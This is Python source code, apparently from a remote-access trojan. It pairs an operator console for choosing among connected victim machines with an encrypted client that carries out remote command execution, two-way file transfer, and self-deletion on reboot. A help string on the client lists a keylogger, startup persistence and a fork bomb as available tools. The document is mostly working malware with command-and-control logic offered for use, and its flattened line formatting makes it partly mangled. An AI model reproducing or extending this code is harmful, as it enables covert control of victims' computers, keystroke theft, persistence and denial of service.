def send_message(self): while (self.stop == False): try: time.sleep(DELAY) if (self.send_list.empty() == False): message = self.send_list.get() packet_send(command=message[PK_COMMAND_FLAG], payload=message[PK_PAYLOAD_FLAG], cipherClass=self.cipherClass, conn=self.sock, encrypt=True) except Exception as e: exception_handler(e) print("ERROR IN SEND_LIST FUNCTION.") self.stop = True return
def sender(self, conn, cipherClass): while (self.stop == False): try: time.sleep(DELAY) if (self.send_list.empty() == False): packet = self.send_list.get() packet_send(command=packet[PK_COMMAND_FLAG], payload=packet[PK_PAYLOAD_FLAG], cipherClass=cipherClass, conn=conn, encrypt=True) except Exception as e: exception_handler(e) print("Error sending command.") self.stop = True return
def executor(self): while (self.stop == False): try: time.sleep(DELAY) if (self.receive_list.empty() == False): message = self.receive_list.get() if message[PK_COMMAND_FLAG] == COMMAND_FTP: file_recv(message) else: print(message[PK_PAYLOAD_FLAG]) except Exception as e: exception_handler(e) print("Error excuting command.") self.stop = True return
def receiver(self, conn, cipherClass): leftovers = b'' while (self.stop == False): try: packet, leftovers = packet_recv(cipherClass=cipherClass, conn=conn, decrypt=True, leftovers=leftovers) self.receive_list.put(packet) except socket.timeout: leftovers = b'' continue except Exception as e: exception_handler(e) self.stop = True print("Error in receiver.") return
def file_recv(packet): ftp_payload = json.loads(packet[PK_PAYLOAD_FLAG]) filename = basename(ftp_payload[FTP_PK_FILENAME]) try: if ftp_payload[FTP_PK_ACTION] == FTP_COMMAND_CREATE: file = open(filename, "wb") else: file = open(filename, "ab") payload = bytes.fromhex(ftp_payload[FTP_PK_PAYLOAD]) file.write(payload) file.close() return True except Exception as e: exception_handler(e) return False finally: file.close()
def input_collection(self): leftovers = b'' while (self.stop == False): try: packet, leftovers = packet_recv(cipherClass=self.cipherClass, conn=self.sock, decrypt=True, leftovers=leftovers) self.command_list.put(packet) except socket.timeout: leftovers = b'' continue except Exception as e: exception_handler(e) print("Error in Input collection") self.stop = True return False
def packet_recv(cipherClass, conn, decrypt=True, leftovers=b''): def get_recv(conn, leftovers): response = b'' if len(leftovers) == 0 or (int(leftovers[0:4].decode()) > len( leftovers[4::])): response = conn.recv(MAX_SOCK_RECV) if response == b'': raise Exception("Socket closed") response = leftovers + response if len(response) == 0: print(response) length = int(response[0:4].decode()) data = response[4:4 + length] leftover = response[4 + length::] while (length > len(data)): data += conn.recv(length - len(data)) return data, leftover pm = p_manager(cipherClass) data, leftovers = get_recv(conn=conn, leftovers=leftovers) try: pm.load_packet(data) except Exception as e: exception_handler(e) raise Exception("Error loading packet") while pm.is_last() == False: data, leftovers = get_recv(conn=conn, leftovers=leftovers) pm.concat(data) if decrypt == True: pm.decrypt_packet() return pm.packet, leftovers
def input_collection(self): while (True): packet = {} message = input() if len(message) <= 0: continue try: message = message.split(' ', 1) packet[PK_COMMAND_FLAG] = message[0].upper() packet[PK_PAYLOAD_FLAG] = message[1] if len( message) == 2 else '' if packet[PK_COMMAND_FLAG] == COMMAND_SERVER_LIST: self.connection_lock.acquire() for connection_number in self.connection_list.keys(): print( str(connection_number) + " " + str(self.connection_list[connection_number][1])) self.connection_lock.release() elif packet[PK_COMMAND_FLAG] == COMMAND_SERVER_CHOOSE: if self.active_connection != None: print("Stop current active connection first.") continue chosen = int(packet[PK_PAYLOAD_FLAG]) self.connection_lock.acquire() if chosen in self.connection_list: connection = self.connection_list.pop(chosen) else: self.connection_lock.release() print("Not in any of the connections") continue self.connection_lock.release() self.active_connection = connection connection_thread = threading.Thread( target=self.startConnection, args=(connection, )) connection_thread.start() elif packet[PK_COMMAND_FLAG] == COMMAND_SERVER_SIGNOUT: self.stop = True elif packet[PK_COMMAND_FLAG] == COMMAND_SERVER_CHECK_CON: #Checks active connection if self.active_connection == None: output = "None" else: output = self.active_connection[1] print("Current connection is : {}".format(output)) elif packet[PK_COMMAND_FLAG] == COMMAND_FTP: file_send(packet[PK_PAYLOAD_FLAG], self.send_list) elif packet[PK_COMMAND_FLAG] == COMMAND_SERVER_HELP: help_text = ''' {0} - List all current connections. {1} - Choose a connection. Add a parameter with the connection number. {2} - Sign out of current active connection. {3} - Check current active connection. {4} - Open help text. '''.format(COMMAND_SERVER_LIST, COMMAND_SERVER_CHOOSE, COMMAND_SERVER_SIGNOUT, COMMAND_SERVER_CHECK_CON, COMMAND_SERVER_HELP) print(help_text) else: if self.active_connection == None: print("No active connection.") else: self.send_list.put(packet) print("Done.") except Exception as e: exception_handler(e) print(e) continue
def parse_command(self): while (self.stop == False): try: time.sleep(DELAY) if (self.command_list.empty() == True): continue message = self.command_list.get() return_message = {PK_COMMAND_FLAG: '', PK_PAYLOAD_FLAG: ''} if message[PK_COMMAND_FLAG] == COMMAND_LINE_EXE: try: data = self.execute_commands(message[PK_PAYLOAD_FLAG]) return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[PK_PAYLOAD_FLAG] = data except Exception as e: exception_handler(e) return_message[PK_COMMAND_FLAG] = COMMAND_ERROR return_message[ PK_PAYLOAD_FLAG] = "Error in inputting the command." self.send_list.put(return_message) elif message[PK_COMMAND_FLAG] == COMMAND_TOOL_EXE: self.exe_tool(message) elif message[PK_COMMAND_FLAG] == COMMAND_FTP: if (file_recv(message) == True): return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Received part of the file." else: return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Error receiving file. Something went wrong" self.send_list.put(return_message) elif message[PK_COMMAND_FLAG] == COMMAND_RECEIVE_FTP: try: file_send(message[PK_PAYLOAD_FLAG], self.send_list) return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[PK_PAYLOAD_FLAG] = "Done Sending" except Exception as e: return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[PK_PAYLOAD_FLAG] = str(e) self.send_list.put(return_message) elif message[PK_COMMAND_FLAG] == "HLP": return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[PK_PAYLOAD_FLAG] = """ Current list of commands implemented: CMD :param: - enter command line commands EXE :param: - execute created tools param lists - keylogger - placestartup - removestartup - forkbomb """ self.send_list.put(return_message) elif message[PK_COMMAND_FLAG] == COMMAND_EXIT: return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Shutdown process initiated. {}".format( sys.argv[0]) self.send_list.put(return_message) os._exit(0) elif message[PK_COMMAND_FLAG] == COMMAND_DELETE: return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Delete process initiated. {}".format( sys.argv[0]) self.send_list.put(return_message) try: regedit.removeStartup() MoveFileEx(sys.argv[0], None, win32con.MOVEFILE_DELAY_UNTIL_REBOOT) except Exception as e: exception_handler(e) return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Delete process Failed: {}".format( e) self.send_list.put(return_message) else: return_message[PK_COMMAND_FLAG] = COMMAND_RESPONSE return_message[ PK_PAYLOAD_FLAG] = "Unknown command. Type HLP to get Help" self.send_list.put(return_message) except Exception as e: exception_handler(e) self.stop = True return return